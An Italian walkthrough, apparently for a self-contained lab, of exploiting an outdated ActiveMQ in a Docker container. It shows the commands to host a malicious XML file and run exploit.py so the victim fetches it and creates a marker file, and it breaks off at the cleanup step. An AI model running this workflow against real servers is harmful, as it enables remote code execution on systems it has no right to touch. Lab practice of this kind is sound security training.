🚀 Guida all'Uso Passo-Passo

Passo 1: Avvia la Vittima (ActiveMQ)

Eseguiremo una versione vecchia e vulnerabile di ActiveMQ usando Docker.

1. Apri un terminale.
2. Naviga nella cartella vulnerable-env:
   root@kitploit:~

   cd vulnerable-env
   

3. Avvia il container:
   root@kitploit:~

   docker-compose up -d
   

4. Attendi 30 secondi per l'avvio completo del server.

Passo 2: Ospita l'XML Dannoso

Il server vittima deve scaricare le istruzioni da noi. Imposteremo un piccolo server web per ospitare queste istruzioni.

1. Apri un secondo terminale.
2. Naviga nella cartella attacker:
   root@kitploit:~

   cd attacker
   

3. Avvia il server web Python:
   root@kitploit:~

   python3 serve.py
   

   Tieni questo terminale aperto! Dovresti vedere 'Serving HTTP on 0.0.0.0 port 8000...'

Passo 3: Lancia l'Exploit

Ora inviamo il pacchetto di rete specifico che innesca la vulnerabilità.

1. Apri un terzo terminale.

2. Naviga nella cartella attacker:

   root@kitploit:~

   cd attacker
   

3. Esegui lo script di exploit.

   • Nota: Se sei su macOS o Windows, usa il comando seguente esattamente come scritto.
   root@kitploit:~

   python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
   

   • Utenti Linux: Se sei su Linux, sostituisci host.docker.internal con il gateway del bridge di rete, solitamente: 172.17.0.1. Prova a ottenere l'indirizzo in questo modo se il prescritto non funziona: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'

Passo 4: Verifica l'Hack

Ha funzionato? Controlliamo se il file è stato creato all'interno del container.

1. Torna al tuo primo terminale (o a qualsiasi terminale).
2. Esegui questo comando per controllare la cartella /tmp all'interno della vittima:
   root@kitploit:~

   docker exec activemq-victim ls -l /tmp
   

3. Successo: Dovresti vedere un file chiamato pwned_by_ssp_team.

🧹 Pulizia

Per fermare e rimuovere il container vulnerabile: